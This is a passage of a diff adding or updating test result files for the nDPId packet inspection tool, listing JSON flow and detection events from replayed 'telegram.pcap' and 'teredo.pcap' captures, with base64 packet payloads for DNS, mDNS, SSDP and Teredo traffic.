ZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} +00460{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779649,"pkt_ts_usec":19702,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABElPEAAEARYTPAqAE1wKgB\/+EV4RUAMJohU3BvdFVkcDD0Jfgh9tR1aAABAAC\/vOrzE8GBHXmaYexmJHVX5sZgYw=="} +00481{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1299,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779649,"pkt_ts_usec":275447,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7wJrQLWJ0CABFAABZzgYAAAIRR7XAqAE14AAA+xTpFOkARfrKAAEAAAACAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQlfQ0MzMkU3NTMEX3N1YsAMAAwAAQ=="} +00770{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1330,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779649,"pkt_ts_usec":979794,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEycgkAAP8RxMjAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00459{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":102979,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"EBMx8Tl2KDc3AG3ICABFAABM8zMAAEARoKnAqAFNVwvNw2326XwAOBQNt7NLZEiPyb9nJ25aFShQjjbK9tSAqF2RZJuCl4MIgiF4TeaDrkRovC99CpyADzRp"} +00481{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1352,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":283367,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7wJrQLWJ0CABFAABZgjsAAAIRk4DAqAE14AAA+xTpFOkARfrKAAEAAAACAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQlfQ0MzMkU3NTMEX3N1YsAMAAwAAQ=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1373,"source":"telegram.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1588779650651,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":58615,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":651135,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"EBMx8Tl2KDc3AG3ICABFAABD6GYAAP8RT6TAqAFNwKgBAeT3ADUAL99XO7EBAAABAAAAAAAACXRlbGVtZXRyeQdkcm9wYm94A2NvbQAAAQAB"} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1373,"source":"telegram.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1588779650651,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":58615,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"telemetry.dropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1374,"source":"telegram.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1588779650652,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":49533,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1374,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":652266,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"EBMx8Tl2KDc3AG3ICABFAABHeaUAAP8RvmHAqAFNwKgBAcF9ADUAM+X9HKUBAAABAAAAAAAABWU0NTE4BGRzY3gKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1374,"source":"telegram.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1588779650652,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":49533,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e4518.dscx.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1376,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":666077,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"KDc3AG3IEBMx8Tl2CABFAABXLE1AADkRkarAqAEBwKgBTQA1wX0AQwAAHKWBgAABAAEAAAAABWU0NTE4BGRzY3gKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAAcABFx69t8="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1376,"source":"telegram.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":2,"flow_first_seen":1588779650652,"flow_last_seen":1588779650666,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":51,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":49533,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e4518.dscx.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"92.122.246.223"}} +00505{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1378,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":681877,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"KDc3AG3IEBMx8Tl2CABFAABtxO5AADkR+PLAqAEBwKgBTQA15PcAWQAAO7GBgAABAAIAAAAACXRlbGVtZXRyeQdkcm9wYm94A2NvbQAAAQABwAwABQABAAAAcAAOCXRlbGVtZXRyeQF2wBbAMwABAAEAAAA8AASifRMJ"} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1378,"source":"telegram.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":2,"flow_first_seen":1588779650651,"flow_last_seen":1588779650681,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":47,"flow_max_l4_data_len":89,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":58615,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"telemetry.dropbox.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"162.125.19.9"}} +00571{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1389,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":842623,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACaJ+EAAAER35rAqAE17\/\/\/+txAB2wAhjvUTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00815{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1390,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779650,"pkt_ts_usec":842643,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTivJAAAERSr\/AqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25uZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} +00784{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1418,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779651,"pkt_ts_usec":446598,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGKBAAEARYHHAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAJsQpYUAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00571{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1481,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779652,"pkt_ts_usec":844858,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACajVgAAAEReiPAqAE17\/\/\/+txAB2wAhjvUTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00814{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1483,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779652,"pkt_ts_usec":845279,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTjH1AAAERSTTAqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25uZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} +00771{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1512,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779653,"pkt_ts_usec":520455,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEy5oIAAP8RUE\/AqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00571{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1563,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779654,"pkt_ts_usec":853807,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACa7R8AAAERGlzAqAE17\/\/\/+txAB2wAhjvUTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00814{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1564,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779654,"pkt_ts_usec":853821,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTjhBAAAERR6HAqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25uZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} diff --git a/test/results/teredo.pcap.out b/test/results/teredo.pcap.out new file mode 100644 index 000000000..103f513e0 --- /dev/null +++ b/test/results/teredo.pcap.out @@ -0,0 +1,34 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"teredo.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1438853615305,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.106","dst_ip":"194.136.28.76","src_port":52513,"dst_port":3544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853615,"pkt_ts_usec":305874,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"bEFqjICJABsXAAEVCABFAABZWboAAH4R6SsKcBBqwogcTM0hDdgARX2HAAEAALEbP+pGqa\/pAGAAAAAACDr\/\/oAAAAAAAAAAAP\/\/\/\/\/\/\/v8CAAAAAAAAAAAAAAAAAAKFAH04AAAAAA=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"teredo.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1438853615305,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.106","dst_ip":"194.136.28.76","src_port":52513,"dst_port":3544,"l4_proto":"udp","ndpi": {"proto":"Teredo","breed":"Acceptable","category":"Network"}} +00561{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853615,"pkt_ts_usec":358642,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABsXAAEVbEFqjICJCABFAACJMb4AAHIRHPjCiBxMCnAQag3YzSEAdV9uAAEAALEbP+pGqa\/pAAAAMt5G+T9GYAAAAAAwOv\/+gAAAAAAAAIAA8ic9d+Oz\/oAAAAAAAAAAAP\/\/\/\/\/\/\/oYAZJ0AAAAAAAA6mAAAB9ADBEBA\/\/\/\/\/\/\/\/\/\/8AAAAAIAEAAMKIHEz\/AAAAACABAA=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"teredo.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1438853619792,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.89","dst_ip":"194.136.28.76","src_port":60381,"dst_port":3544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853619,"pkt_ts_usec":792073,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"bEFqjICJABsXAAEVCABFAABZKFgAAH4RGp8KcBBZwogcTOvdDdgARWZ6AAEAAJXRHBBSCtwOAGAAAAAACDr\/\/oAAAAAAAAAAAP\/\/\/\/\/\/\/v8CAAAAAAAAAAAAAAAAAAKFAH04AAAAAA=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"teredo.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1438853619792,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.89","dst_ip":"194.136.28.76","src_port":60381,"dst_port":3544,"l4_proto":"udp","ndpi": {"proto":"Teredo","breed":"Acceptable","category":"Network"}} +00560{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853619,"pkt_ts_usec":844656,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABsXAAEVbEFqjICJCABFAACJMcAAAHIRHQfCiBxMCnAQWQ3Y690AdQSAAAEAAJXRHBBSCtwOAAAAFCJG+T9GYAAAAAAwOv\/+gAAAAAAAAIAA8ic9d+Oz\/oAAAAAAAAAAAP\/\/\/\/\/\/\/oYAZJ0AAAAAAAA6mAAAB9ADBEBA\/\/\/\/\/\/\/\/\/\/8AAAAAIAEAAMKIHEz\/AAAAACABAA=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"teredo.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1438853629357,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.92","dst_ip":"194.136.28.76","src_port":63448,"dst_port":3544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853629,"pkt_ts_usec":357785,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"bEFqjICJABsXAAEVCABFAABZf5wAAH4Rw1cKcBBcwogcTPfYDdgAReM8AAEAAPs1qOhE924kAGAAAAAACDr\/\/oAAAAAAAAAAAP\/\/\/\/\/\/\/v8CAAAAAAAAAAAAAAAAAAKFAH04AAAAAA=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"teredo.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1438853629357,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.92","dst_ip":"194.136.28.76","src_port":63448,"dst_port":3544,"l4_proto":"udp","ndpi": {"proto":"Teredo","breed":"Acceptable","category":"Network"}} +00559{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853629,"pkt_ts_usec":411015,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABsXAAEVbEFqjICJCABFAACJMcEAAHIRHQPCiBxMCnAQXA3Y99gAdXxOAAEAAPs1qOhE924kAAAACCdG+T9GYAAAAAAwOv\/+gAAAAAAAAIAA8ic9d+Oz\/oAAAAAAAAAAAP\/\/\/\/\/\/\/oYAZL4AAAAAAAA6mAAAB9ADBEBA\/\/\/\/\/\/\/\/\/\/8AAAAAIAEAAMKIHEwAAAAAAAAAAA=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"teredo.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1438853632713,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.64","dst_ip":"194.136.28.76","src_port":56154,"dst_port":3544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853632,"pkt_ts_usec":713044,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"bEFqjICJABsXAAEVCABFAABZcmgAAH4R0KcKcBBAwogcTNtaDdgARUt\/AAEAABh7537NjT4KAGAAAAAACDr\/\/oAAAAAAAAAAAP\/\/\/\/\/\/\/v8CAAAAAAAAAAAAAAAAAAKFAH04AAAAAA=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"teredo.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1438853632713,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.64","dst_ip":"194.136.28.76","src_port":56154,"dst_port":3544,"l4_proto":"udp","ndpi": {"proto":"Teredo","breed":"Acceptable","category":"Network"}} 